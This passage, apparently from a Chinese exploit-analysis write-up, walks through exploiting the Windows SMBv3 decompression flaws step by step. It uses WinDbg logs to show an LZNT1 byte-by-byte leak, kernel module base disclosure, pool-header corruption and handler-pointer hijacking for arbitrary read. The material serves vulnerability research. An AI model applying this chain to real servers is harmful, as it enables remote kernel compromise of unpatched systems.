fffff802`52ddd943 493bf2 cmp rsi,r10
kd>
nt!LZNT1DecompressChunk+0x676:
fffff802`52ddd946 0f82cd040000 jb nt!LZNT1DecompressChunk+0xb49 (fffff802`52ddde19)
kd>
nt!LZNT1DecompressChunk+0xb49:
fffff802`52ddde19 b8420200c0 mov eax,0C0000242h
单字节泄露思路
泄露的思路就是利用解压算法的上述特性,在想要泄露的字节后面加上b0(满足压缩标志)以及一定数量的 00 和 FF,00表示的数据为绝对有效数据。当处理完一个压缩块之后,会继续向后取两个字节,如果取到的是00 00,解压就会正常完成,如果是 00 FF 或者 FF FF,解压就会失败。
kd> db ffffa508`31ac1158
ffffa508`31ac1158 18 3a 80 34 08 a5 b0 00-00 00 00 00 00 00 00 00 .:.4............
ffffa508`31ac1168 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1178 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
如下所示,a5是想要泄露的字节,先假设可以将测试数据放在后面。根据解压算法可知,首先会取出b0a5,然后和0xfff相与后加3,得到a8,从a5开始数a8个字节,这些数据都属于第一个压缩块。如果要求第二次取出来的双字还是00 00,就需要a8-2+2个字节的00,也就是a5+3。如果00的个数小于x+3,第二次取双字的时候就一定会命中后面的FF,触发错误。采用二分法找到满足条件的x,使得当00的数量为x+3时解压缩正常完成,并且当00的数量为x+2时解压失败,此时得到要泄露的那个字节数据x。
下面开始步入正题,一步一步获取关键模块基址,劫持系统执行流程。为了方便描述利用思路,在 Windows 1903 单核系统上进行调试,利用前还需要收集各漏洞版本以下函数在模块中的偏移,以便后续进行匹配,计算相应模块基址及函数地址:
srvnet.sys | ntoskrnl.exe |
---|---|
srvnet!SrvNetWskConnDispatch | nt!IoSizeofWorkItem |
srvnet!imp_IoSizeofWorkItem | nt!MiGetPteAddress |
srvnet!imp_RtlCopyUnicodeString |
这一步要泄露的数据是已知大小缓冲区的User Buffer指针(POC中是0x2100)。请求包结构如下,Offset为0x2116,Originalsize为0,由于Offset+Originalsize=0x2116,所以会分配大小为0x4100的User Buffer来存放还原的数据。然而,原始请求包的User Buffer大小为0x2100(可容纳0x10大小的头和0x1101大小的Data),Offset 0x2116明显超出了该缓冲区的长度,在后续的memcpy操作中会存在越界读取。Offset欺骗也是1206的一部分,在取得Offset的值之后没有判断其大小是否超出的User Buffer的界限,从而在解压成功后将这部分数据复制到一个可控的区域。又由于数据未初始化,可利用LZNT1解压将目标指针泄露出来。
以下为请求包的Srvnet Buffer Header信息,由于复制操作是从Raw Data区域开始(跳过0x10头部),因而越界读取并复制的数据长度为0x2116+0x10-0x2100 = 0x26,这包括存放在Srvnet Buffer Header偏移0x18处的User Buffer指针 0xffffa50836240050。
kd> g
request: ffffa508`36240050 424d53fc 00000000 00000001 00002116
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410 cmp dword ptr [rax+24h],10h
kd> dd rax
ffffa508`36242150 2f566798 ffffa508 2f566798 ffffa508
ffffa508`36242160 00010002 00000000 36240050 ffffa508
ffffa508`36242170 00002100 00001111 00002288 c0851000
kd> dd ffffa508`36240050+10+2116-6-10 l8
ffffa508`36242160 00010002 00000000 36240050 ffffa508
ffffa508`36242170 00002100 00001111 00002288 c0851000
以下为分配的0x4100的缓冲区,其User Buffer首地址为0xffffa50835a92050:
kd> g
alloc: ffffa508`35a92050 cf8b48d6 006207e8 ae394c00 00000288
srv2!Srv2DecompressData+0x85:
fffff802`51ce7ee5 488bd8 mov rbx,rax
kd> dd rax
ffffa508`35a96150 a1e83024 48fffaef 4810478b 30244c8d
ffffa508`35a96160 00020002 00000000 35a92050 ffffa508
ffffa508`35a96170 00004100 00000000 000042a8 245c8b48
由于解压成功,所以进入memcpy流程,0x2100缓冲区的User Buffer指针0xffffa50836240050被复制到0x4100缓冲区偏移0x2108处:
kd> dd ffffa508`35a92050 + 2100
ffffa508`35a94150 840fc085 000000af 24848d48 000000a8
ffffa508`35a94160 24448948 548d4120 b9410924 00000eda
kd> p
srv2!Srv2DecompressData+0x10d:
fffff802`51ce7f6d 8b442460 mov eax,dword ptr [rsp+60h]
kd> dd ffffa508`35a92050 + 2100
ffffa508`35a94150 00010002 00000000 36240050 ffffa508
ffffa508`35a94160 00002100 548d1111 b9410924 00000eda
然后下一步是覆盖 0x4100缓冲区中存放的0x2100缓冲区User Buffer Ptr 中 08 a5 后面的ffff等数据(由于地址都是以0xffff开头,所以这两个字节可以不用测)。为了不破坏前面的数据(不执行memcpy),要使得解压失败(在压缩的测试数据后面填充\xFF),但成功解压出测试数据。
以下为解压前后保存的User Buffer Ptr 的状态,可以发现解压后的数据正好满足之前所讲的单字节泄露模式,如果可欺骗程序使其解压0xffffa50835a9415d处的数据,就可以通过多次测试泄露出最高位0xa5:
//待解压数据
kd> dd ffffa508`31edb050+10+210e
ffffa508`31edd16e b014b007 ff007e00 ffff007c ffffffff
ffffa508`31edd17e ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd18e ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd19e ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1ae ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1be ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1ce ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1de ffffffff ffffffff ffffffff ffffffff
//解压前数据
kd> db r9 - 6
ffffa508`35a94158 50 00 24 36 08 a5 ff ff-00 21 00 00 11 11 8d 54 P.$6.....!.....T
ffffa508`35a94168 24 09 41 b9 da 0e 00 00-45 8d 44 24 01 48 8b ce $.A.....E.D$.H..
ffffa508`35a94178 ff 15 c2 68 01 00 85 c0-78 27 8b 94 24 a8 00 00 ...h....x'..$...
ffffa508`35a94188 00 0f b7 c2 c1 e8 08 8d-0c 80 8b c2 c1 e8 10 0f ................
ffffa508`35a94198 b6 c0 03 c8 0f b6 c2 8d-0c 41 41 3b cf 41 0f 96 .........AA;.A..
ffffa508`35a941a8 c4 48 8d 44 24 30 48 89-44 24 20 ba 0e 00 00 00 .H.D$0H.D$ .....
ffffa508`35a941b8 41 b9 db 0e 00 00 44 8d-42 f4 48 8b ce ff 15 75 A.....D.B.H....u
ffffa508`35a941c8 68 01 00 85 c0 78 2f 8b-54 24 30 0f b7 c2 c1 e8 h....x/.T$0.....
kd> p
srv2!Srv2DecompressData+0xe1:
fffff802`51ce7f41 85c0 test eax,eax
//解压后数据
kd> db ffffa508`35a9415d lff
ffffa508`35a9415d a5 b0 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a9416d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a9417d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a9418d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a9419d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a941ad 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a941bd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a941cd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a941dd 00 00 00 00 ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a941ed ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a941fd ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9420d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9421d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9422d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9423d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9424d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ...............
控制后续的请求包占用之前布置好的0x4100缓冲区,设置Offset使其指向待泄露的那个字节,利用LZTN1解压算法从高位到低位逐个泄露字节。主要是利用LZTN1解压算法特性以及SMB2协商,在SMB2协商过程中使用LZTN1压缩,对SMB2 SESSION SETUP请求数据进行压缩。构造如下请求,如果LZNT1测试数据解压成功,就代表要泄露的数据不小于0的个数减3,并且由于解压成功,SMB2 SESSION SETUP数据成功被复制。如果解压失败,SMB2 SESSION SETUP数据不会被复制,连接断开。根据连接是否还在调整0的个数,如果连接断开,就增大0的个数,否则减小0的个数,直到找到临界值,泄露出那个字节。
SRVNET_BUFFER_HDR第一项为ConnectionBufferList.Flink指针(其指向SRVNET_RECV偏移0x58处的ConnectionBufferList.Flink),SRVNET_RECV偏移0x100处存放了AcceptSocket指针。AcceptSocket偏移0x30处为srvnet!SrvNetWskConnDispatch函数指针。可通过泄露这个指针,然后减去已有偏移得到srvnet模块的基址。
//SRVNET_BUFFER_HDR
kd> dd rax
ffffa508`31221150 2f566798 ffffa508 2f566798 ffffa508
ffffa508`31221160 00030002 00000000 31219050 ffffa508
ffffa508`31221170 00008100 00008100 000082e8 ffffffff
ffffa508`31221180 31219000 ffffa508 312211e0 ffffa508
ffffa508`31221190 00000000 ffffffff 00008100 00000000
ffffa508`312211a0 31221260 ffffa508 31221150 ffffa508
//SRVNET_RECV->AcceptSocket
kd> dq ffffa5082f566798 - 58 + 100
ffffa508`2f566840 ffffa508`36143c28 00000000`00000000
ffffa508`2f566850 00000000`00000000 ffffa508`3479cd18
ffffa508`2f566860 ffffa508`2f4a6dc0 ffffa508`34ae4170
ffffa508`2f566870 ffffa508`35f56040 ffffa508`34f19520
//srvnet!SrvNetWskConnDispatch
kd> u poi(ffffa508`36143c28+30)
srvnet!SrvNetWskConnDispatch:
fffff802`57d3d170 50 push rax
fffff802`57d3d171 5a pop rdx
fffff802`57d3d172 d15702 rcl dword ptr [rdi+2],1
fffff802`57d3d175 f8 clc
fffff802`57d3d176 ff ???
fffff802`57d3d177 ff00 inc dword ptr [rax]
fffff802`57d3d179 6e outs dx,byte ptr [rsi]
fffff802`57d3d17a d15702 rcl dword ptr [rdi+2],1
泄露ConnectionBufferList.Flink指针 首先要泄露ConnectionBufferList.Flink指针,以便泄露AcceptSocket指针以及srvnet!SrvNetWskConnDispatch函数指针。在这里使用了另一种思路:使用正常压缩的数据[:-6]覆盖ConnectionBufferList.Flink指针之前数据,这样在解压的时候正好可以带出这6个字节,要注意请求数据长度与Offset+0x10的差值,这个差值应该大于压缩数据+6的长度。在这个过程中需要保持一个正常连接,使得泄露出的ConnectionBufferList所在的SRVNET_RECV结构是有效的。如下所示,解压后的数据长度正好为0x2b,其中,后6位为ConnectionBufferList的低6个字节。
kd> g
request: ffffa508`31219050 424d53fc 0000002b 00000001 000080e3
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410 cmp dword ptr [rax+24h],10h
kd> db ffffa508`31219050+80e3+10 l20 //待解压数据
ffffa508`31221143 10 b0 40 41 42 43 44 45-46 1b 50 58 00 18 3a 80 [email protected]..:.
ffffa508`31221153 34 08 a5 ff ff 18 3a 80-34 08 a5 ff ff 02 00 03 4.....:.4.......
kd> g
srv2!Srv2DecompressData+0xdc:
fffff802`51ce7f3c e86f650406 call srvnet!SmbCompressionDecompress (fffff802`57d2e4b0)
kd> db r9 l30 //解压前缓冲区
ffffa508`31ac1133 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1143 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1153 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
kd> p
srv2!Srv2DecompressData+0xe1:
fffff802`51ce7f41 85c0 test eax,eax
kd> db ffffa508`31ac1133 l30 //解压后缓冲区
ffffa508`31ac1133 41 42 43 44 45 46 41 42-43 44 45 46 41 42 43 44 ABCDEFABCDEFABCD
ffffa508`31ac1143 45 46 41 42 43 44 45 46-41 42 43 44 45 46 41 42 EFABCDEFABCDEFAB
ffffa508`31ac1153 43 44 45 46 58 18 3a 80-34 08 a5 ff ff ff ff ff CDEFX.:.4.......
然后向目标缓冲区偏移0x810e处解压覆盖测试数据 b0 00 00 ... ,之前解压出的0x2b大小的数据放在了偏移0x80e3处,如果要从最后一位开始覆盖,那解压缩的偏移就是0x810e+0x2b(即0x810e)。
kd> g
request: ffffa508`31edb050 424d53fc 00007ff2 00000001 0000810e
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410 cmp dword ptr [rax+24h],10h
//解压前
kd> db rdx //rdx指向待解压数据
ffffa508`31ee316e 07 b0 14 b0 00 7e 00 ff-7c 00 ff ff ff ff ff ff .....~..|.......
ffffa508`31ee317e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee318e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee319e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee31ae ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee31be ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee31ce ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee31de ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
kd> db r9-6 l30 //r9指向目标缓冲区
ffffa508`31ac1158 18 3a 80 34 08 a5 ff ff-ff ff ff ff ff ff ff ff .:.4............
ffffa508`31ac1168 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1178 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
//解压后
kd> db ffffa508`31ac1158 l30
ffffa508`31ac1158 18 3a 80 34 08 a5 b0 00-00 00 00 00 00 00 00 00 .:.4............
ffffa508`31ac1168 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1178 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
然后采用和之前一样的方式泄露该地址低6个字节。根据连接是否断开调整00的长度,直到找到满足临界点的值,从而泄露出ConnectionBufferList。
kd> g
request: ffffa508`31ab9050 424d53fc 00008004 00000001 000080fd
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410 cmp dword ptr [rax+24h],10h
kd> db rdx-6 l100
ffffa508`31ac1157 58 18 3a 80 34 08 a5 b0-00 00 00 00 00 00 00 00 X.:.4...........
ffffa508`31ac1167 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1177 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1187 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1197 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11a7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11b7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11c7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11d7 00 00 00 00 00 00 00 00-00 00 ff ff ff ff ff ff ................
ffffa508`31ac11e7 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac11f7 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1207 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1217 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1227 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1237 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1247 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
后面就是继续获取AcceptSocket指针以及srvnet!SrvNetWskConnDispatch函数指针。SrvNetFreeBuffer函数中存在如下代码(有省略),可帮助我们将某地址处的值复制到一个可控的地址。当BufferFlags为3时,pMdl1指向MDL中的MappedSystemVa会变成之前的值加0x50,pMdl2指向的MDL中的StartVa被赋值为pMdl1->MappedSystemVa + 0x50的高52位,pMdl2指向的MDL中的ByteOffset被赋值为pMdl1->MappedSystemVa + 0x50的低12位。也就是说pMdl2的StartVa和ByteOffset中会分开存放原先pMdl1中的MappedSystemVa的值加0x50的数据。
void SrvNetFreeBuffer(PSRVNET_BUFFER_HDR Buffer)
{
PMDL pMdl1 = Buffer->pMdl1;
PMDL pMdl2 = Buffer->pMdl2;
if (Buffer->BufferFlags & 0x02) {
if (Buffer->BufferFlags & 0x01) {
pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF
}
Buffer->BufferFlags = 0;
// ...
pMdl1->Next = NULL;
pMdl2->Next = NULL;
// Return the buffer to the lookaside list.
} else {
SrvNetUpdateMemStatistics(NonPagedPoolNx, Buffer->PoolAllocationSize, FALSE);
ExFreePoolWithTag(Buffer->PoolAllocationPtr, '00SL');
}
}
可利用上述流程,将指定地址处的数据再加0x50的值复制到pMdl2指向的结构中,然后再利用之前的方法逐字节泄露。思路是通过覆盖两个pmdl指针,覆盖pmdl1指针为AcceptSocket指针减0x18,这和MDL结构相关,如下所示,其偏移0x18处为MappedSystemVa指针,这样可使得AcceptSocket地址正好存放在pMdl1->MappedSystemVa。然后覆盖pmdl2指针为一个可控的内存,POC中为之前泄露的0x2100内存的指针加0x1250偏移处。这样上述代码执行后,就会将AcceptSocket地址的信息存放在pmdl2指向的MDL结构(已知地址)中。
kd> dt _mdl
win32k!_MDL
+0x000 Next : Ptr64 _MDL
+0x008 Size : Int2B
+0x00a MdlFlags : Int2B
+0x00c AllocationProcessorNumber : Uint2B
+0x00e Reserved : Uint2B
+0x010 Process : Ptr64 _EPROCESS
+0x018 MappedSystemVa : Ptr64 Void
+0x020 StartVa : Ptr64 Void
+0x028 ByteCount : Uint4B
+0x02c ByteOffset : Uint4B
kd> ?ffffa50834803a18-58+100-18
Evaluate expression: -100020317570392 = ffffa508`34803aa8
kd> ?ffffa50836240000+1250 //这个和no transport header相关
Evaluate expression: -100020290055600 = ffffa508`36241250
//覆盖前
kd> dd ffffa508`31ab9050+10138
ffffa508`31ac9188 31ac91e0 ffffa508 00000000 00000000
ffffa508`31ac9198 00000000 00000000 31ac92a0 ffffa508
ffffa508`31ac91a8 00000000 00000000 00000000 00000000
//覆盖后
kd> dd ffffa508`31ac9188
ffffa508`31ac9188 34803aa8 ffffa508 00000000 00000000
ffffa508`31ac9198 00000000 00000000 36241250 ffffa508
ffffa508`31ac91a8 00000000 00000000 00000000 00000000
之后通过解压覆盖偏移0x10处的BufferFlags,使其由2变为3,压缩数据后面加入多个"\xFF"使得解压失败,这样在后续调用 SrvNetFreeBuffer函数时才能进入上述流程。其中:flag第一个比特位被设置代表没有Transport Header,所以那段代码实际上是留出了传输头。
kd> dd r9-10
ffffa508`31ac9150 00000000 00000000 34ba42d8 ffffa508
ffffa508`31ac9160 00040002 00000000 31ab9050 ffffa508
ffffa508`31ac9170 00010100 00000000 00010368 ffffa508
ffffa508`31ac9180 31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190 00000000 00000000 00000000 00000000
ffffa508`31ac91a0 36241250 ffffa508 00000000 00000000
kd> dd ffffa508`31ac9150
ffffa508`31ac9150 00000000 00000000 34ba42d8 ffffa508
ffffa508`31ac9160 00040003 00000000 31ab9050 ffffa508
ffffa508`31ac9170 00010100 00000000 00010368 ffffa508
ffffa508`31ac9180 31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190 00000000 00000000 00000000 00000000
ffffa508`31ac91a0 36241250 ffffa508 00000000 00000000
当调用SrvNetFreeBuffer释放这个缓冲区时会触发那段流程,此时想泄露的数据已经放在了0xffffa50836241250处的MDL结构中。如下所示,为0xffffa5083506b848。然后再用之前的方法依次泄露0xffffa50836241250偏移0x2D、0x2C、0x25、0x24、0x23、0x22、0x21处的字节,然后组合成0xffffa5083506b848。
kd> dt _mdl ffffa50836241250
win32k!_MDL
+0x000 Next : (null)
+0x008 Size : 0n56
+0x00a MdlFlags : 0n4
+0x00c AllocationProcessorNumber : 0
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : (null)
+0x020 StartVa : 0xffffa508`3506b000 Void
+0x028 ByteCount : 0xffffffb0
+0x02c ByteOffset : 0x848
kd> db ffffa50836241250
ffffa508`36241250 00 00 00 00 00 00 00 00-38 00 04 00 00 00 00 00 ........8.......
ffffa508`36241260 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`36241270 00 b0 06 35 08 a5 ff ff-b0 ff ff ff 48 08 00 00 ...5........H...
kd> ?poi(ffffa508`34803aa8+18) //AcceptSocket - 0x50
Evaluate expression: -100020308756408 = ffffa508`3506b848
由于之前flag加上了1,没有传输头,所以SRVNET_BUFFER_HDR偏移0x18处的user data指针比之前多0x50(计算偏移的时候要注意)。这次将BufferFlags覆盖为0,在SrvNetFreeBuffer函数中就不会将其直接加入SrvNetBufferLookasides表,而是释放该缓冲区。
kd> dd r9-10
ffffa508`31ac9150 00000000 00000000 35caba58 ffffa508
ffffa508`31ac9160 00040002 00000000 31ab90a0 ffffa508
ffffa508`31ac9170 00010100 00000000 00010368 ffffa508
ffffa508`31ac9180 31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190 00000000 00000000 00000000 00000000
ffffa508`31ac91a0 36241250 ffffa508 00000000 00000000
kd> dd ffffa508`31ac9150
ffffa508`31ac9150 00000000 00000000 35caba58 ffffa508
ffffa508`31ac9160 00040000 00000000 31ab90a0 ffffa508
ffffa508`31ac9170 00010100 00000000 00010368 ffffa508
ffffa508`31ac9180 31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190 00000000 00000000 00000000 00000000
ffffa508`31ac91a0 36241250 ffffa508 00000000 00000000
后面还是和之前一样,依次从高地址到低地址泄露每一个字节,经过组合最终得到后面还是和之前一样,依次从高地址到低地址泄露每一个字节,经过组合最终得到AcceptSocket地址为 0xffffa5083506b848 - 0x50 = 0xffffa508`3506b7f8。
kd> db ffffa508`36241250+2d-10
ffffa508`3624126d 00 00 00 00 b0 06 35 08-a5 ff ff b0 ff ff ff 48 ......5........H
ffffa508`3624127d 08 b0 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`3624128d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`3624129d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`362412ad 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`362412bd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`362412cd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`362412dd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................................
kd> u poi(ffffa508`3506b7f8+30)
srvnet!SrvNetWskConnDispatch:
fffff802`57d3d170 50 push rax
fffff802`57d3d171 5a pop rdx
fffff802`57d3d172 d15702 rcl dword ptr [rdi+2],1
fffff802`57d3d175 f8 clc
fffff802`57d3d176 ff ???
fffff802`57d3d177 ff00 inc dword ptr [rax]
fffff802`57d3d179 6e outs dx,byte ptr [rsi]
fffff802`57d3d17a d15702 rcl dword ptr [rdi+2],1
采用同样的方法可获取AcceptSocket偏移0x30处的srvnet!SrvNetWskConnDispatch函数的地址。
任意地址读 SrvNetCommonReceiveHandler函数中存在如下代码,其中v10指向SRVNET_RECV结构体,以下代码是对srv2!Srv2ReceiveHandler函数的调用(HandlerFunctions表中的第二项),第一个参数来自于SRVNET_RECV结构体偏移0x128处,第二个参数来自于SRVNET_RECV结构体偏移0x130处。可通过覆盖SRVNET_RECV结构偏移0x118、0x128、0x130处的数据,进行已知函数的调用(参数个数不大于2)。
//srvnet!SrvNetCommonReceiveHandler
v32 = *(_QWORD *)(v10 + 0x118);
v33 = *(_QWORD *)(v10 + 0x130);
v34 = *(_QWORD *)(v10 + 0x128);
*(_DWORD *)(v10 + 0x144) = 3;
v35 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD, _QWORD, __int64, __int64, __int64, __int64, __int64))(v32 + 8))( v34, v33, v8, (unsigned int)v11, v9, a5, v7, a7, v55);
以下为RtlCopyUnicodeString函数部分代码,该函数可通过srvnet!imp_RtlCopyUnicodeString索引,并且只需要两个参数(PUNICODE_STRING结构)。如下所示,PUNICODE_STRING中包含Length、MaximumLength(偏移2)和Buffer(偏移8)。RtlCopyUnicodeString函数会调用memmove将SourceString->Buffer复制到DestinationString->Buffer,复制长度为SourceString->Length和DestinationString->MaximumLength中的最小值。
//RtlCopyUnicodeString
void __stdcall RtlCopyUnicodeString(PUNICODE_STRING DestinationString, PCUNICODE_STRING SourceString)
{
v2 = DestinationString;
if ( SourceString )
{
v3 = SourceString->Length;
v4 = DestinationString->MaximumLength;
v5 = SourceString->Buffer;
if ( (unsigned __int16)v3 <= (unsigned __int16)v4 )
v4 = v3;
v6 = DestinationString->Buffer;
v7 = v4;
DestinationString->Length = v4;
memmove(v6, v5, v4);
//PUNICODE_STRING
typedef struct __UNICODE_STRING_
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
可通过覆盖HandlerFunctions,“替换”srv2!Srv2ReceiveHandler函数指针为nt!RtlCopyUnicodeString函数指针,覆盖DestinationString为已知地址的PUNICODE_STRING结构地址,SourceString为待读取地址的PUNICODE_STRING结构地址,然后通过向该连接继续发送请求实现任意地址数据读取。
ntoskrnl泄露步骤 1、首先还是要获取一个ConnectionBufferList的地址,本次调试为0xffffa50834ba42d8。 2、利用任意地址写,将特定数据写入可控的缓冲区(0x2100缓冲区)的已知偏移处。成功复制后,0xffffa50836241658处为0xffffa50836241670,正好指向复制数据的后面,0xffffa50836241668处为0xfffff80257d42210(srvnet!imp_IoSizeofWorkItem),指向nt!IoSizeofWorkItem函数(此次要泄露nt!IoSizeofWorkItem函数地址)。
//要复制的数据
kd> dd ffffa508`36240050
ffffa508`36240050 424d53fc ffffffff 00000001 00000020
ffffa508`36240060 00060006 00000000 36241670 ffffa508
ffffa508`36240070 00060006 00000000 57d42210 fffff802
kd> dd ffffa508`2fe38050+1100 //任意地址写,注意0xffffa5082fe39168处数据
ffffa508`2fe39150 35c3e150 ffffa508 34803a18 ffffa508
ffffa508`2fe39160 00000002 00000000 2fe38050 ffffa508
ffffa508`2fe39170 00001100 00000000 00001278 00000400
kd> p
srv2!Srv2DecompressData+0xe1:
fffff802`51ce7f41 85c0 test eax,eax
kd> dd ffffa508`2fe38050+1100 //要复制的可控地址(0x18处)
ffffa508`2fe39150 00000000 00000000 00000000 00000000
ffffa508`2fe39160 00000000 00000000 36241650 ffffa508
ffffa508`2fe39170 00001100 00000000 00001278 00000400
kd> g
copy: ffffa508`36241650 00000000`00000000 00000000`00000000
srv2!Srv2DecompressData+0x108:
fffff802`51ce7f68 e85376ffff call srv2!memcpy (fffff802`51cdf5c0)
kd> dd rcx
ffffa508`36241650 00000000 00000000 00000000 00000000
ffffa508`36241660 00000000 00000000 00000000 00000000
kd> p
srv2!Srv2DecompressData+0x10d:
fffff802`51ce7f6d 8b442460 mov eax,dword ptr [rsp+60h]
kd> dd ffffa508`36241650 //成功复制
ffffa508`36241650 00060006 00000000 36241670 ffffa508
ffffa508`36241660 00060006 00000000 57d42210 fffff802
//nt!IoSizeofWorkItem函数指针
kd> u poi(fffff80257d42210)
nt!IoSizeofWorkItem:
fffff802`52c7f7a0 b858000000 mov eax,58h
fffff802`52c7f7a5 c3 ret
3、利用任意地址写将srvnet!imp_RtlCopyUnicodeString指针-8的地址写入SRVNET_RECV结构偏移0x118处的HandlerFunctions,这样系统会认为nt!RtlCopyUnicodeString指针是srv2!Srv2ReceiveHandler函数指针。
kd> dd 0xffffa50834ba42d8-58+118 //HandlerFunctions
ffffa508`34ba4398 3479cd18 ffffa508 2f4a6dc0 ffffa508
ffffa508`34ba43a8 34ae4170 ffffa508 34f2a040 ffffa508
kd> u poi(ffffa5083479cd18+8) //覆盖前第二项为srv2!Srv2ReceiveHandler函数指针
srv2!Srv2ReceiveHandler:
fffff802`51cdc3b0 44894c2420 mov dword ptr [rsp+20h],r9d
fffff802`51cdc3b5 53 push rbx
fffff802`51cdc3b6 55 push rbp
fffff802`51cdc3b7 4154 push r12
fffff802`51cdc3b9 4155 push r13
fffff802`51cdc3bb 4157 push r15
fffff802`51cdc3bd 4883ec70 sub rsp,70h
fffff802`51cdc3c1 488b8424d8000000 mov rax,qword ptr [rsp+0D8h]
kd> g
copy: ffffa508`34ba4398 ffffa508`3479cd18 ffffa508`2f4a6dc0
srv2!Srv2DecompressData+0x108:
fffff802`51ce7f68 e85376ffff call srv2!memcpy (fffff802`51cdf5c0)
kd> p
srv2!Srv2DecompressData+0x10d:
fffff802`51ce7f6d 8b442460 mov eax,dword ptr [rsp+60h]
kd> dq ffffa508`34ba4398
ffffa508`34ba4398 fffff802`57d42280 ffffa508`2f4a6dc0
ffffa508`34ba43a8 ffffa508`34ae4170 ffffa508`34f2a040
kd> u poi(fffff802`57d42280+8) //覆盖前第二项为nt!RtlCopyUnicodeString函数指针
nt!RtlCopyUnicodeString:
